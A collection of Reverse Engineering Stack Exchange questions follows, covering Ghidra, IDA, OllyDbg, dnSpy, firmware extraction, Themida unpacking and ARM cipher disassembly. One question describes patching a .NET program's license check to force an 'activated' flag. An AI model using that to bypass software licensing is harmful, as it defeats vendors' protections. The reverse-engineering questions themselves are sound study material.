+Is there a way to fix the issue without generating an error? Because I don't believe the original developers used an array here to do this simple thing and it is a problem that has been repeating itself for a while in some parts. +" +"['ghidra', 'plugin']"," Title: Install Ghidra plugin without GUIBody: I have a plugin that I want to install for Ghidra. +The current way to install the plugin is to go to the file->Install Extension in the project window, and add my plugin there. However, in my scenario, I don't have an access to the GUI and I want to deploy Ghidra for Headless Analysis. +For some reason, just copying the plugin files to <ghidra_home>\Ghidra\Extensions doesn't do the trick, and it looks like it only partially installs the plugin, and only the GUI way does the complete job. +Any idea how can I programmatically install plugins for Ghidra? +" +['disassembly']," Title: Ollydbg - bytes in memory different than on diskBody: I have been analyzing an application and I'm getting confused about something.
+When I open an executable with OllyDbg, it shows 0xAA byte. + +The same executable opened with CFF explorer at the same location… shows 0x62 instead of 0xAA. + +My question is.. Why is this happening? +" +"['binary-analysis', 'binary', 'binwalk']"," Title: Extract smartwatch firmware bin fileBody: I'm trying to extract files from a bin file that's the firmware of a smartwatch. +I tried using +
binwalk -Mre firmware.bin
+
+but got no files, this is the result: + +How should I extract/modify this bin file ? +This is the file link to check. +" +"['decompiler', 'jeb']"," Title: Does anyone have any information about the file format of a .jdb2 (Jeb Decompiler's Project file) or how to fix one that is corrupted?Body: I have a .jdb2 JebDecompiler project file which is corrupted and JebDecompiler can not open it. Any information about .jdb2 file format could be useful for me in order to read data from it and even fix it. If you can share any information about this file format it would be highly appreciated. +" +"['disassembly', 'ghidra', 'sparc']"," Title: How to change how the calculated value is shown for registers in GhidraBody: I'm currently working on reversing some Sparc code in Ghidra, and calculated register values are shown incorrectly. This is how the line looks in the listing: +add o3, o0=>DAT_00007d88, o0 +and I would like it to look like this: +add o3, o0, o0=>DAT_00007d88 +This is because the Sparc disassembly has the destination operand as the last register listed. The Instruction info looks like this, with calculated addresses always binding to the first instance of the register. + +I'm currently working from a copy of the language spec, so modifying the pspec or cspec is no problem if that is what is needed to fix the issue. The instruction here is just an example, but the issue is generic across the entire instruction set. +EDIT Larger code snippet: +
   ram:00004d4c 17 04 b4 14    sethi     %hi(0x12d05000), o3
+   ram:00004d50 96 12 e0 e8    or        o3, 0xe8, o3
+   ram:00004d54 11 3b 4c 0b    sethi     %hi(0xed302c00), o0
+   ram:00004d58 90 12 20 a0    or        o0, 0xa0, o0
+   ram:00004d5c 90 02 c0 08    add       o3, o0=>DAT_00007d88, o0                   
+
+" +"['ida', 'debugging', 'unpacking', 'anti-debugging', 'anti-dumping']"," Title: How to debug / analyze a Themida protected binaryBody: Background: I have an application that has worked fine up until Windows 10 build 1511 but broke as of build 1607. It produces an access violation: +
STACK_TEXT:  
+03799f54 00f91cfa     24d1ae78 0000000f 0000001f GDI32!ext-ms-win-gdi-internal-desktop-l1-1-0_NULL_THUNK_DATA_DLB+0xc22b
+WARNING: Stack unwind information not available. Following frames may be wrong.
+0379a01c 01570000     00000000 00000000 00000023 THEEXE+0xb91cfa
+0379a038 77015125     00000000 00000000 01ba0254 THEEXE+0x1170000
+0379a088 00cd691c     0379afa8 016a5276 00000000 ntdll!RtlpAllocateHeapInternal+0x155
+00000000 00000000     00000000 00000000 00000000 THEEXE+0x8d691c
+
+Win10 1607 and higher have a change in GDI dll's, before there was only gdi32.dll and GdiPlus.dll but as of 1607 gdi32.dll is basically a stub for a new dll, gdi32full.dll +I want to understand why the app crashes and find a workaround. The fact that the exe is packed makes analyzing it with WinDbg, Ida Pro etc very difficult. PE ID tools suggest that the exe is packed with Themida (Themida v2.0.1.0 - v2.1.8.0 (or newer) + Hide PE Scanner Option). +I tried to follow a tutorial involving OllyDBG and a script named Themida - Winlicense Ultra Unpacker 1.4.txt and although this seems to go a long way it does not result in a correct unpacked binary. The issue might be that some of the code is executing outside of the address space as defined in the PE sections because I get several errors like this: +
Memory breakpoint range reduced: OllyDbg is unable to activate memory breakpoint on the whole specified address range (EA:   ). Breakpoint is reduced to range 00401000..0086CFFF.
+
+Also tried unthemida 2.0 and unthemida 3.0 but they hang after creating the process (which appears to be terminated). I'm looking for help or pointers on how to unpack the exe so I can analyze the crash. +A free version of the software that has the same issue can be found here (installer). +The exe can be found here: removed +The crash can be reproduced by starting the application and click open on the supplied example project (EAExample.eap). +" +"['debugging', 'hardware', 'encryption', 'decryption', 'software-security']"," Title: is it possible to get code out of chipset through reverse engineering?Body: for example, encryption/decryption mechanism was inbuilt in a chip, to get the code that performs this mechanisms, is there some ways you can get this code through reverse engineering? what tools and techniques do I need to do this? +" +"['ida', 'android', 'arm', 'elf', 'static-analysis']"," Title: What does this function do?Body: I'm trying to understand what client sends to server. I already did most of the work, but one function left. I can't understand what to do with this function and what it does. I've tried to change function boundaries, but then i get undefined variables and no useful information. I can't attach debugger because program instantly crashes (but it doesn't have any actual anti-debugging measures). I know that function accepts four values: +
    +
  1. pointer to int[4] array, which is decrypted before.
  2. +
  3. pointer to +char[8] array, which is encrypted by this function.
  4. +
  5. int - constant 8.
  6. +
  7. int - constant 32.
  8. +
+I know that function produces different output every time it is executed with same arguments.
+Function: +
.text:00088840 ; =============== S U B R O U T I N E =======================================
+.text:00088840
+.text:00088840 ; Attributes: bp-based frame
+.text:00088840
+.text:00088840 ; void __fastcall encrypt(int *a1, char *a2, unsigned int a3, int a4)
+.text:00088840 encrypt                                 ; CODE XREF: sub_94800+278↓p
+.text:00088840
+.text:00088840 var_30          = -0x30
+.text:00088840 var_2C          = -0x2C
+.text:00088840 var_28          = -0x28
+.text:00088840 var_24          = -0x24
+.text:00088840
+.text:00088840 ; __unwind {
+.text:00088840                 PUSH            {R4-R7,LR}
+.text:00088842                 ADD             R7, SP, #0xC
+.text:00088844                 PUSH.W          {R8-R11}
+.text:00088848                 SUB             SP, SP, #0x14
+.text:0008884A                 STR             R0, [SP,#0x30+var_30]
+.text:0008884C                 MOVS            R0, #0
+.text:0008884E                 CMP.W           R0, R2,LSR#2
+.text:00088852                 STR             R1, [SP,#0x30+var_24]
+.text:00088854                 BEQ             loc_88922
+.text:00088856                 MOVW            R12, #0x79B9
+.text:0008885A                 LSRS            R0, R2, #2
+.text:0008885C                 MOV.W           R8, #0
+.text:00088860                 MOVT            R12, #0x9E37
+.text:00088864                 STR             R0, [SP,#0x30+var_2C]
+.text:00088866                 STR             R3, [SP,#0x30+var_28]
+.text:00088866 ; End of function encrypt
+
+Pseudocode of function: +
void __fastcall encrypt(int *a1, char *a2, unsigned int a3, int a4)
+{
+  int v4; // [sp+38h] [bp+8h]
+
+  if ( !(a3 >> 2) )
+    JUMPOUT(0x88922);
+  sub_88868(a3 >> 2, (int)a2, a3, a4, v4);
+}
+
+Instructions after function and before next guranteed standalone function (force converted): +
.text:00088868 ; =============== S U B R O U T I N E =======================================
+.text:00088868
+.text:00088868
+.text:00088868 sub_88868                               ; CODE XREF: sub_8892A-A↓j
+.text:00088868                 PUSH.W          {R0-R11,LR}
+.text:0008886C                 MOV.W           R0, #0x150000
+.text:00088870                 ADD             R0, SP
+.text:00088872                 BL              sub_3E594
+.text:00088876                 ADD.W           R0, R0, #0x2D0000
+.text:0008887A                 MOV             R1, R0
+.text:0008887C                 POP.W           {R0-R11,LR}
+.text:00088880                 PUSH.W          {R0-R11,LR}
+.text:00088884                 MOV             R0, PC
+.text:00088886                 BL              sub_83284
+.text:0008888A                 POP.W           {R0-R11,LR}
+.text:0008888E                 SUB             SP, SP, #8
+.text:00088890                 ADD             SP, SP, #8
+.text:00088892                 MOV             R0, R0
+.text:00088894                 MOV             R0, R0
+.text:00088896                 MOV             R0, R0
+.text:00088898                 POP             {PC}
+.text:00088898 ; End of function sub_88868
+.text:00088898
+.text:0008889A ; ---------------------------------------------------------------------------
+.text:0008889A                 LDM             R4, {R2,R4,R6,R7}
+.text:0008889C                 STRB            R2, [R5,#0x14]
+.text:0008889C ; ---------------------------------------------------------------------------
+.text:0008889E                 DCB 0x84
+.text:0008889F                 DCB 0xEF
+.text:000888A0 ; ---------------------------------------------------------------------------
+.text:000888A0                 LDR.W           R2, [R11,#0x9D]!
+.text:000888A4                 STRB            R4, [R1,R2]
+.text:000888A6                 ASRS            R3, R3, #1
+.text:000888A8                 BKPT            0x29 ; ')'
+.text:000888AA                 BMI             loc_887BA
+.text:000888AC                 ADDS            R7, #0x68 ; 'h'
+.text:000888AE                 SXTB            R2, R4
+.text:000888B0                 LDR             R3, [SP,#0xF8]
+.text:000888B2                 STRB            R4, [R6,#5]
+.text:000888B4                 BCC             loc_888D0
+.text:000888B6                 STR             R6, [R3,#0x18]
+.text:000888B8                 MOV             R0, R0
+.text:000888BA                 MOV             R0, R0
+.text:000888BC                 MOV             R0, R0
+.text:000888BE                 LDR             R0, [SP,#0xC]
+.text:000888C0                 CMP             R3, #0
+.text:000888C2                 LDR.W           R4, [R0,R8,LSL#2]
+.text:000888C6                 ADD.W           R0, R0, R8,LSL#2
+.text:000888CA                 LDR             R5, [R0,#4]
+.text:000888CC                 STR             R0, [SP,#0x10]
+.text:000888CE                 BEQ             loc_88910
+.text:000888D0
+.text:000888D0 loc_888D0                               ; CODE XREF: .text:000888B4↑j
+.text:000888D0                 LDR             R0, [SP]
+.text:000888D2 ; START OF FUNCTION CHUNK FOR sub_8892A
+.text:000888D2
+.text:000888D2 loc_888D2                               ; CODE XREF: sub_8892A+6A↓j
+.text:000888D2                                         ; sub_8892A+6E↓j
+.text:000888D2                 MOV             R11, R12
+.text:000888D4                 LDR.W           R9, [R0]
+.text:000888D8                 LDR.W           R10, [R0,#4]
+.text:000888DC                 LDR             R6, [R0,#8]
+.text:000888DE                 LDR             R2, [R0,#0xC]
+.text:000888E0
+.text:000888E0 loc_888E0                               ; CODE XREF: sub_8892A-1C↓j
+.text:000888E0                 ADD.W           LR, R9, R5,LSL#4
+.text:000888E4                 ADD.W           R1, R10, R5,LSR#5
+.text:000888E8                 EOR.W           R1, R1, LR
+.text:000888EC                 ADD.W           R0, R5, R11
+.text:000888F0                 EORS            R0, R1
+.text:000888F2                 SUBS            R3, #1
+.text:000888F4                 ADD             R4, R0
+.text:000888F6                 ADD.W           R0, R11, R4
+.text:000888FA                 ADD             R11, R12
+.text:000888FC                 ADD.W           R1, R6, R4,LSL#4
+.text:00088900                 EOR.W           R0, R0, R1
+.text:00088904                 ADD.W           R1, R2, R4,LSR#5
+.text:00088908                 EOR.W           R0, R0, R1
+.text:0008890C                 ADD             R5, R0
+.text:0008890E                 BNE             loc_888E0
+.text:00088910
+.text:00088910 loc_88910                               ; CODE XREF: .text:000888CE↑j
+.text:00088910                 LDR             R0, [SP,#-8+arg_10]
+.text:00088912                 ADD.W           R8, R8, #2
+.text:00088916                 STRD.W          R4, R5, [R0]
+.text:0008891A                 LDR             R0, [SP,#-8+arg_4]
+.text:0008891C                 LDR             R3, [SP,#-8+arg_8]
+.text:0008891E                 CMP             R8, R0
+.text:00088920                 BCC             sub_88868
+.text:00088922
+.text:00088922 loc_88922                               ; CODE XREF: encrypt+14↑j
+.text:00088922                 ADD             SP, SP, #0x14
+.text:00088924                 POP.W           {R8-R11}
+.text:00088928                 POP             {R4-R7,PC}
+.text:00088928 ; } // starts at 88840
+.text:00088928 ; END OF FUNCTION CHUNK FOR sub_8892A
+.text:0008892A
+.text:0008892A ; =============== S U B R O U T I N E =======================================
+.text:0008892A
+.text:0008892A ; Attributes: bp-based frame
+.text:0008892A
+.text:0008892A sub_8892A                               ; CODE XREF: .text:00036E2E↑p
+.text:0008892A                                         ; sub_40134+156↑p
+.text:0008892A
+.text:0008892A var_34          = -0x34
+.text:0008892A var_30          = -0x30
+.text:0008892A var_2C          = -0x2C
+.text:0008892A var_28          = -0x28
+.text:0008892A var_24          = -0x24
+.text:0008892A var_20          = -0x20
+.text:0008892A var_1C          = -0x1C
+.text:0008892A arg_4           =  0xC
+.text:0008892A arg_8           =  0x10
+.text:0008892A arg_E           =  0x16
+.text:0008892A arg_10          =  0x18
+.text:0008892A arg_350         =  0x358
+.text:0008892A
+.text:0008892A ; FUNCTION CHUNK AT .text:000888D2 SIZE 00000058 BYTES
+.text:0008892A
+.text:0008892A ; __unwind {
+.text:0008892A                 PUSH            {R4-R7,LR}
+.text:0008892C                 ADD             R7, SP, #0xC
+.text:0008892E                 PUSH.W          {R8-R11}
+.text:00088932                 SUB             SP, SP, #0x18
+.text:00088934                 STR             R0, [SP,#0x34+var_30]
+.text:00088936                 MOVS            R0, #0
+.text:00088938                 CMP.W           R0, R2,LSR#2
+.text:0008893C                 STR             R1, [SP,#0x34+var_24]
+.text:0008893E                 BEQ             loc_88A20
+.text:00088940                 LSRS            R0, R2, #2
+.text:00088942                 MOV             R2, #0x9E3779B9
+.text:0008894A                 STR             R0, [SP,#0x34+var_2C]
+.text:0008894C                 MUL.W           R0, R3, R2
+.text:00088950                 MOVW            R10, #0x8647
+.text:00088954                 MOV.W           R9, #0
+.text:00088958                 MOVT            R10, #0x61C8
+.text:0008895C                 STR             R3, [SP,#0x34+var_28]
+.text:0008895E                 STR             R0, [SP,#0x34+var_34]
+.text:00088960
+.text:00088960 loc_88960                               ; CODE XREF: sub_8892A+F4↓j
+.text:00088960                 PUSH.W          {R0-R11,LR}
+.text:00088964                 MOV.W           R0, #0x150000
+.text:00088968                 ADD             R0, SP
+.text:0008896A                 BL              sub_3E594
+.text:0008896E                 ADD.W           R0, R0, #0x2D0000
+.text:00088972                 MOV             R1, R0
+.text:00088974                 POP.W           {R0-R11,LR}
+.text:00088978                 PUSH.W          {R0-R11,LR}
+.text:0008897C                 MOV             R0, PC
+.text:0008897E                 BL              sub_833C8
+.text:00088982                 POP.W           {R0-R11,LR}
+.text:00088986                 SUB             SP, SP, #8
+.text:00088988                 ADD             SP, SP, #8
+.text:0008898A                 MOV             R0, R0
+.text:0008898C                 MOV             R0, R0
+.text:0008898E                 MOV             R0, R0
+.text:00088990                 POP             {PC}
+.text:00088992 ; ---------------------------------------------------------------------------
+.text:00088992                 ADD             R2, SP, #0x30+arg_350
+.text:00088994                 BLT             loc_888D2
+.text:00088996                 STRB            R1, [R7,#arg_E]
+.text:00088998                 BGT             loc_888D2
+.text:0008899A                 STRH            R1, [R1,R4]
+.text:0008899A ; ---------------------------------------------------------------------------
+.text:0008899C                 DCB 0xDD
+.text:0008899D                 DCB 0xB7
+.text:0008899E ; ---------------------------------------------------------------------------
+.text:0008899E                 LSRS            R1, R4, #0x1B
+.text:000889A0                 LSLS            R3, R2, #7
+.text:000889A2                 ASRS            R4, R6, #0x16
+.text:000889A4                 LDR             R4, [R5,#0x48]
+.text:000889A6                 CBZ             R4, loc_889F8+2
+.text:000889A6 ; ---------------------------------------------------------------------------
+.text:000889A8                 DCB    2
+.text:000889A9                 DCB 0xF9
+.text:000889AA ; ---------------------------------------------------------------------------
+.text:000889AA                 LDRH            R4, [R0,#0x2C]
+.text:000889AC                 STM             R4, {R0,R1,R3-R5,R7}
+.text:000889AE                 STM             R4!, {R0,R1,R5,R6}
+.text:000889B0                 MOV             R0, R0
+.text:000889B2                 MOV             R0, R0
+.text:000889B4                 MOV             R0, R0
+.text:000889B6                 LDR             R0, [SP,#0x30+var_20]
+.text:000889B8                 CMP             R3, #0
+.text:000889BA                 LDR.W           R6, [R0,R9,LSL#2]
+.text:000889BE                 ADD.W           R0, R0, R9,LSL#2
+.text:000889C2                 LDR             R5, [R0,#4]
+.text:000889C4                 STR             R0, [SP,#0x30+var_1C]
+.text:000889C6                 BEQ             loc_88A0E
+.text:000889C8                 LDR             R0, [SP,#0x30+var_2C]
+.text:000889CA                 LDR.W           LR, [SP,#0x30+var_30]
+.text:000889CE                 LDR.W           R11, [R0]
+.text:000889D2                 LDR             R4, [R0,#4]
+.text:000889D4                 LDR             R2, [R0,#8]
+.text:000889D6                 LDR.W           R12, [R0,#0xC]
+.text:000889DA
+.text:000889DA loc_889DA                               ; CODE XREF: sub_8892A+E2↓j
+.text:000889DA                 ADD.W           R8, R2, R6,LSL#4
+.text:000889DE                 ADD.W           R1, R12, R6,LSR#5
+.text:000889E2                 EOR.W           R1, R1, R8
+.text:000889E6                 ADD.W           R0, R6, LR
+.text:000889EA                 EORS            R0, R1
+.text:000889EC                 SUBS            R3, #1
+.text:000889EE                 SUB.W           R5, R5, R0
+.text:000889F2                 ADD.W           R0, LR, R5
+.text:000889F6                 ADD             LR, R10
+.text:000889F8
+.text:000889F8 loc_889F8                               ; CODE XREF: sub_8892A+7C↑j
+.text:000889F8                 ADD.W           R1, R11, R5,LSL#4
+.text:000889FC                 EOR.W           R0, R0, R1
+.text:00088A00                 ADD.W           R1, R4, R5,LSR#5
+.text:00088A04                 EOR.W           R0, R0, R1
+.text:00088A08                 SUB.W           R6, R6, R0
+.text:00088A0C                 BNE             loc_889DA
+.text:00088A0E
+.text:00088A0E loc_88A0E                               ; CODE XREF: sub_8892A+9C↑j
+.text:00088A0E                 LDR             R0, [SP,#0x30+var_1C]
+.text:00088A10                 ADD.W           R9, R9, #2
+.text:00088A14                 STRD.W          R6, R5, [R0]
+.text:00088A18                 LDR             R0, [SP,#0x30+var_28]
+.text:00088A1A                 LDR             R3, [SP,#0x30+var_24]
+.text:00088A1C                 CMP             R9, R0
+.text:00088A1E                 BCC             loc_88960
+.text:00088A20
+.text:00088A20 loc_88A20                               ; CODE XREF: sub_8892A+14↑j
+.text:00088A20                 ADD             SP, SP, #0x18
+.text:00088A22                 POP.W           {R8-R11}
+.text:00088A26                 POP             {R4-R7,PC}
+.text:00088A26 ; } // starts at 8892A
+.text:00088A26 ; End of function sub_8892A
+
+Function call: +
.text:00094A6C                 ADD.W           R0, R6, #0x398 ; a1 - int[4] ptr
+.text:00094A70                 ADD.W           R1, R6, #0x3B8 ; a2 - char[8] ptr
+.text:00094A74                 MOVS            R2, #8  ; a3
+.text:00094A76                 MOVS            R3, #0x20 ; ' ' ; a4
+.text:00094A78                 BL              encrypt ; addr = 0x88840
+
+(SP is stored in R6) +" +"['windows', 'c++', 'patching', 'binary-editing']"," Title: How to prevent File Modification in C++Body: so i want to protect my software against reverse-engineering and i want to add checksum verification to prevent patching the binary but the problem that if i added a checksum verification the binary changes, how's the proper way to do it? +" +"['assembly', 'x86', 'intel']"," Title: How does this function take the argument if its not pushed into the stack?Body: I dont understand how does the function take the argument without pushing +
push ebp
+mov ebp, esp
+and esp, 0FFFFFFF0h
+sub esp, 20h
+mov [esp+20h+var_20], offset aEnterX ; "Enter X:"
+call _puts
+
+" +"['cryptography', 'hash-functions']"," Title: How to know which hashing algorithm is being used?Body: I’ve been reading about digital signatures getting ready for some certification, and there is one question regarding this topic, that I don’t really understand. +Let’s say that I receive a plaintext with digital signature. I use the public key of the sender to decrypt. Now I have a “pure” hash. In order to check if it’s coming from a legitimate person, I need to hash the plaintext on my own. +But how do I know, which hashing algorithm has been used? Do I check the number of bits of the hashed function or something else? +" +"['binary-analysis', 'c', 'ghidra']"," Title: How do I view registers at a specific point of a binary's execution?Body: I have a binary that I'm attempting to reverse engineer to find a flag. From using ghidra I have found that the flag is stored in the program at a point called "check" and then run through memfrob to compare to the string that the user inputs. +I'm trying to either debug the binary to run until the point after the memfrob was called and the value is stored in a register to view its value or take the value from the assembly that I found and run that through memfrob in my own C script. +I'm having trouble finding an explanation on how to do it the first way and when I try to run memfrob on my own in C it tells me "implicit declaration of function 'memfrob'" but I am including string.h. +
#include <string.h>
+int main(void)
+{
+
+    char check[20] = {0x5f,
+    0x40,
+    0x5a,
+    0x15,
+    0x75,
+    0x45,
+    0x62,
+    0x53,
+    0x75,
+    0x46,
+    0x52,
+    0x43,
+    0x5f,
+    0x75,
+    0x50,
+    0x52,
+    0x75,
+    0x5f,
+    0x5c,
+    0x4f};
+
+    for (int i = 0; i < 20; i++)
+    {
+        printf("%x",check);
+    }
+
+    memfrob(&check,0x14);
+
+    
+    
+    return 0;
+}
+
+
+I'm not sure what the correct way to go about this is, but so far I've had no success with either. +I have also tried running it through things like CyberChef to decrypt the XOR42 from memfrob but that also ended up giving me nothing useful +" +"['ida', 'idapython']"," Title: Add python to Ida Pro 7.3Body: I have Ida Pro 7.3 but in the bottom of windwos I see that I can run only IDC script. +How can I add Python to Ida , So I can run Python script via IDA ? +" +"['hardware', 'embedded', 'pcb']"," Title: Identify unknown Atmel chipBody: wondering if folks can help identify this chip. + +It looks like +
ATMLH017
+2FCM  CN
+©2017AB4
+
+Googling all manner of permutations on these numbers has not been helpful. +The chip appears next to an ATMEGA1284P. +" +"['ida', 'idapython']"," Title: IDAPython: error executing init.py:Body: When I open Ida Pro 7.3 I see an error message +
IDAPython: error executing init.py:
+nothing to repeat
+
+Refer to the message window to see the full error log.
+
+How can I understand what is the problem? in message windows I not see any problem. +I have python in PATH .and only 1 installation of python +" +"['ida', 'idapython']"," Title: Undo step with IdaPython?Body: With Ida I can press Control+Z to undo the last action +Can I do that with IdaPython? +" +"['ida', 'decompiler', 'pointer']"," Title: IDA PRO decompiler expression last question (pseudocode)Body:
memory=VirtualAlloc(lpAddress, 3*v48, flAllocationType, 16*v19);
+
+                 .....
+
+shellcode=(int (__stdcall *)(_DWORD, _DWORD))memory;
+
+                 .....
+
+shellcode(&hkernel32, 0)
+
+If function pointer, for each parameter (_DWORD, _DWORD) is +lpAddress = _DWORD = &hkernel32 +flAllocationType = _DWORD=0 +Is it right? +" +"['ida', 'disassembly', 'strings']"," Title: How to convert string to a variable in IDABody: I have the following string "CreatePipe" and I want to convert it to a variable so I can use x to find all its references: + +How can I do it? I am not sure what to choose here:
+ +" +['packers']," Title: How to protect a PE file?Body: What is the best way to protect a PE file (coded in c++) to make it a little hard for reversing, i mean using something like a Packer, but in a legit way, because most of packers are detected by antivirus (most of malwares are using packing techniques). Can we find a non blacklisted packers ? +Any ideas ? +" +"['assembly', 'c++']"," Title: What C++ construct could emit such Watcom C++ 10.5 assembler listing?Body: Based on the assembler listings, a C++ object is locally allocated on the stack without constructing the object in the caller routine and the callee takes the address to the allocated stack space and invokes the constructor. How is this possible using C++? The compiler used is Watcom C/C++ 10.5 from 1995, from way before ISO C++98's arrival. The compiler uses Watcom's register calling convention so first argument is passed in EAX, second in EDX and return value is passed back in EAX. EBP is used as stack frame pointer. +The caller function is a class A method which reserves space for a class B locally allocated object on the stack frame. Even though the class B object resides on a dword only it is a complex object that internally allocates lots of stuff to the heap when the constructor is called. It is similar to a smart pointer to a smart object. Any ways what I wanted to highlight is that class B is far from a simple struct. ObjectA on the stack frame is class A's this pointer passed to the Caller method in EAX. The caller sets up the arguments to callee. Callee's second argument is an address to the ObjectB stack space. +Caller function: +
MethodCaller_ proc near
+
+ObjectB = dword ptr -8
+ObjectA = dword ptr -4
+
+                push    32
+                call    __CHK
+                push    ebx
+                push    ecx
+                push    esi
+                push    edi
+                push    ebp
+                mov     ebp, esp
+                sub     esp, 8
+                mov     [ebp+ObjectA], eax
+                lea     edx, [ebp+ObjectB]
+                mov     eax, [ebp+ObjectA]
+                call    MethodCallee_
+                ...
+
+
+The callee function is also a class A method so first argument is the this pointer. The second argument is the address to a memory space which is passed to the constructor of class B. The construction is not based on assignment and copy constructor, it is a call to the default (implicit?) constructor of class B without allocating memory for the object being constructed. +Callee function: +
MethodCallee_ proc near
+
+ObjectA = dword ptr -8
+ObjectB = dword ptr -4
+
+                push    32
+                call    __CHK
+                push    ebx
+                push    ecx
+                push    esi
+                push    edi
+                push    ebp
+                mov     ebp, esp
+                sub     esp, 8
+                mov     [ebp+ObjectA], eax
+                mov     [ebp+ObjectB], edx
+                mov     eax, [ebp+ObjectB]
+                call    ObjectB_Ctor_
+                mov     eax, [ebp+ObjectB]
+                mov     esp, ebp
+                pop     ebp
+                pop     edi
+                pop     esi
+                pop     ecx
+                pop     ebx
+                retn
+MethodCallee_ endp
+
+
+The assembly listings are generated by IDA Freeware 7.0. +The following statements can be made: +
    +
  • Operator new is not used to allocate the class B object onto the stack.
  • +
  • The placement new operator is not used within the callee function to omit allocation at construction. That would have generated totally different code and would have emitted a dummy like operator new for the placement new use case.
  • +
  • In 1995 there was no std::allocator and any ways it would also require placement new.
  • +
  • I do not think that the original authors simply created a dword and casted it as I assume as professionals they should have known about dangers of violating stack and object alignment rules as well as I do not think that they called directly the constructors in some wicked ways.
  • +
  • I tried a lot of stuff to replicate the C++ code and build it again in Watcom C/C++ 10.5 compiler in MS-DOS to get to the same disassembly listing or one that is close to the original, but utterly failed.
  • +
+The construct is used in a lot of places within the original program, redesigning the code base would be very difficult. +Any new ideas would be highly welcome, thanks in advance for any help. +" +"['assembly', 'dos', 'dos-exe', 'unknown-data', 'dos-com']"," Title: I have a dos file/database that i need to extract into MS Excel or My SqlBody: I have a dos file/database(decades old) that I need to extract into MS Excel or My SQL. +I am using a MacBook. +The file appears to have no extension. +The file type I can see when I do "get info" after a right-click is, "kind: Unix Executable File". +when I hit the "file" command on my terminal, this is what I get, "Atari 68xxx CPX file (version 4143)." +I need to filter some data through this file/database, for example, print files with the title "XYZ". +Currently, I am using DOSBOX to do it. But it is manual, and I am only able to filter my files one at a time. +It would save hundreds of hours of misery if I could automate this process. I can code in java and javascript. I can also use MySQL. But I have no idea how to start on this problem. +It would be great if I could convert this dos database into excel or MySQL database. Or I could also write some java programs to do the filtering. +But I have little clue on how to approach this problem. +" +"['encodings', 'development']"," Title: Can you get the error-correction level of a QR code?Body: You can get the version number of a QR (1-40) by checking the dimensions of the QR, but is there a way to get the error-correction level that was used to generate the QR code? +Trying to reverse engineer a QR code, but I don't have access to the code that generated it, and I'd like to match the error-correction level. +" +"['ida', 'arm', 'patching', 'ios', 'hex']"," Title: How to calculate the value needed to branch two points in IDA pro?Body: I need to find how to get the value to make a branch between two points in IDA Pro, but I can’t figure it out. For more context: the instructions I’m following says “Calculate the value needed to do a branch from 176E4 to 1768C, which will be D2 E7”. How do they get D2 E7 from 176E4 and 1768C? Is there a math formula or is there somewhere in IDA where they find this? It's arm little endian. +Thank you +" +"['.net', 'c#']"," Title: dnSpy - change software value during runBody: Im working on old software written in C# .NET for increase skills in dnSpy. im new in dnSpy. +When I step-in dnSpy, the program get license information from another dll file. and the dll class are only have get; methods, when I want to set the value (write code in dnSpy) the main program give me an error. +Also when I step-in and the dnSpy get license information from dll file, I can see and change the value of license in Locals section, I can set activated flag value to true and run the program as activated. is there any way to save the changes during run? because as I said, I can't write code in dnSpy, I just want patch the exe file, not DLL. (as I found the activated program on internet, they only changes the .exe file, not dll's) +Note: The activated version of the software available on internet for free. The question is only for further study and research. +" +"['malware', 'program-analysis']"," Title: Problem with analyzing malwareBody: We have a malware that blocks all analytics software in real time. +This software has blacklisted a large list of software that performs analysis (x64dbg, ida, serialport monitor, etc.) +This software examines all items related to the software, including the following: package name,registry,driver +And if there is this softwares, it closes them and avoids re-running. +Developing proprietary software that they can not block is very time consuming and costly. +what's the solution?How can we do our analysis in this situation? +" +"['c++', 'ida-plugin', 'api']"," Title: IDA API: Writing a plugin - How can I ensure that analysis has completed?Body: I have been reading through the API documentation here and As far as I can tell there are three ways to wait for the analysis to finish. +get_auto_state +auto_wait +auto_is_ok +Looking at the API if get_auto_state() == AU_NONE then Analysis should be completed and if auto_is_ok() == 1 then analysis is completed. Also, from what I read auto_wait() should move forward when analysis is completed . I have tried all of these and none appear to work like I want. And I noticed that these events will be met when the IDA is pausing in part of analysis. +I mean, if there is no way to accomplish this, then I would settle for a way to sort of activate the plugin when run is called normally and then have another part run from an event listener. Both of which appear to be documented poorly. +" +"['windows', 'x86', 'c++', 'static-analysis']"," Title: How do I interpret this double offset?Body: While looking at that old game I've found a class CStr that is used in an unusual (to me) manner. Most of the times a member of CStr is used, it's done as follows. In both cases, this is a CStr *. +Decompilation: +
pcVar6 = *(char **)(*(int *)(this + 4) + 8);
+// pcVar6 is then used
+
+Disassembly +
// since the func is a __thiscall, ECX contains "this"
+MOV  ESI ,ECX
+MOV  EAX ,dword ptr [ESI  + 0x4]
+MOV  EDI ,dword ptr [EAX  + 0x8]
+// EDI is then used
+
+This strikes me as odd. If one of the members of CStr is a char array, why isn't it just a single offset? I'm thinking that this has something to do with inheritance, but I'm lacking experience with that to be certain. +For context, this particular member seems to be a C string. The code comes from a Win32 DLL. +How do I interpret this correctly? And how do I tell Ghidra how to interpret this? +

EDIT: More examples

+I put a lot more here at first, but deleted everything that isn't a case where the CStr object itself is used. It's just a lot more of the line already posted and I doubt that it'll clear anything up. Also, I'm yet to make significat progress in determining what the fields of the objects are, sadly :( +
+Example of CStr being used in constructor. this is a CMachineController here. +
// CMachineController::CMachineController
+CStr::CStr((CStr *)&this->field_0x4); // could be labeled as "cstring"?
+
+
+ +Part of a longer function. It seems to acquire an instance by reading a config object, then does some manipulation and destroys the CStr. + +Var types as follows: + - bool bVar3; + - CConfig* pcVar8; + - CStr aCStack20[8]; + - undefined4 local4; (a 4-byte-wide number of some kind) + - stack0xff... is created by (`MOV this, ESP / MOV dword ptr [ESP+0x3c], ESP`) + - CMachineController* this; +
// CMachineController::Init()
+...
+bVar3 = CConfig::HasValue(pCVar8,s_AutoStart_10056dc4);
+if (bVar3 != false) {
+  CConfig::GetValue(this->config,(char *)aCStack20);
+  CStr::CStr((CStr *)&stack0xffffffd0,aCStack20);
+  (**(code **)(**(int **)&this->field_0x18 + 0x14))();
+  CStr::~CStr(aCStack20);
+}
+...
+
